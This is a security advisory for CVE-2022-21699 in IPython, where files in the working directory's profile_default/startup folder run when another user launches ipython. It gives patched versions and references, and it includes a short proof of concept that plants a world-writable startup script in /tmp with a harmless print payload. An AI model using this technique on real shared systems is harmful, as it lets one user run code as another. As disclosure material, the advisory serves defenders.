Execution with Unnecessary Privileges in ipython
High8.2CVE-2022-21699 · Published Jan 21, 2022 · updated Sep 10, 2026
We’d like to disclose an arbitrary code execution vulnerability in IPython that stems from IPython executing untrusted files in CWD. This vulnerability allows one user to run code as another. Proof of concept User1: ``` mkdir -m 777 /tmp/profile_default mkdir -m 777 /tmp/profile_default/startup echo 'print("stealing your private secrets")' > /tmp/profile_default/startup/foo.py ``` User2: ``` cd /tmp ipython ``` User2 will see: ``` Python 3.9.7 (default, Oct 25 2021, 01:04:21) Type 'copyright', 'credits' or 'license' for more information IPython 7.29.0 -- An enhanced Interactive Python. Type '?' for help. stealing your private secrets ``` ## Patched release and documentation See https://ipython.readthedocs.io/en/stable/whatsnew/version8.html#ipython-8-0-1-cve-2022-21699, Version 8.0.1, 7.31.1 for current Python version are recommended. Version 7.16.3 has also been published for Python 3.6 users, Version 5.11 (source only, 5.x branch on github) for older Python versions.
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| ipython PyPI | < 5.11 | 5.11 |
| >= 6.0.0, < 7.16.3 | 7.16.3 | |
| >= 7.17.0, < 7.31.1 | 7.31.1 | |
| >= 8.0.0, < 8.0.1 | 8.0.1 |
Details and references
- CVSS 3.1
- CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
- Severity from
- GitHub (reviewed advisory)
- Weakness
- CWE-250, CWE-269, CWE-279
- Also known as
- CVE-2022-21699, PYSEC-2022-12
- github.com/ipython/ipython/security/advisories/GHSA-pq7m-3gw7-gq5x
- nvd.nist.gov/vuln/detail/CVE-2022-21699
- github.com/ipython/ipython/commit/46a51ed69cdf41b4333943d9ceeb945c4ede5668
- github.com/ipython/ipython/commit/5fa1e409d2dc126c456510c16ece18e08b524e5b
- github.com/ipython/ipython/commit/67ca2b3aa9039438e6f80e3fccca556f26100b4d
- github.com/ipython/ipython/commit/a06ca837273271b4acb82c29be97c0b6d12a30ea
- github.com/ipython/ipython
- github.com/pypa/advisory-database/tree/main/vulns/ipython/PYSEC-2022-12.yaml
- ipython.readthedocs.io/en/stable/whatsnew/version8.html#ipython-8-0-1-cve-2022-21699
- lists.debian.org/debian-lts-announce/2022/01/msg00021.html
- lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/CRQRTWHYXMLDJ572VGVUZMUPEOTPM3KB
- lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DZ7LVZBB4D7KVSFNEQUBEHFO3JW6D2ZK
More IPython advisories
All IPython| Date | Advisory | Severity | Fixed in |
|---|---|---|---|
| Feb 102023 | IPython vulnerable to command injection via set_term_title | Low4.5 | 8.10.0 |
| May 172022 | Improper Neutralization of Input During Web Page Generation in IPython | Medium6.1 | 3.2.0 |
| May 172022 | IPython vulnerable to cross site request forgery (CSRF) | High8.8 | 2.4.1+1 more |
| May 142022 | IPython Notebook vulnerable to improper validation of the origin of websocket requests | High9.8 | 1.2.0 |
| May 132022 | Improper Neutralization of Input During Web Page Generation in IPython | Medium6.1 | 3.2.0 |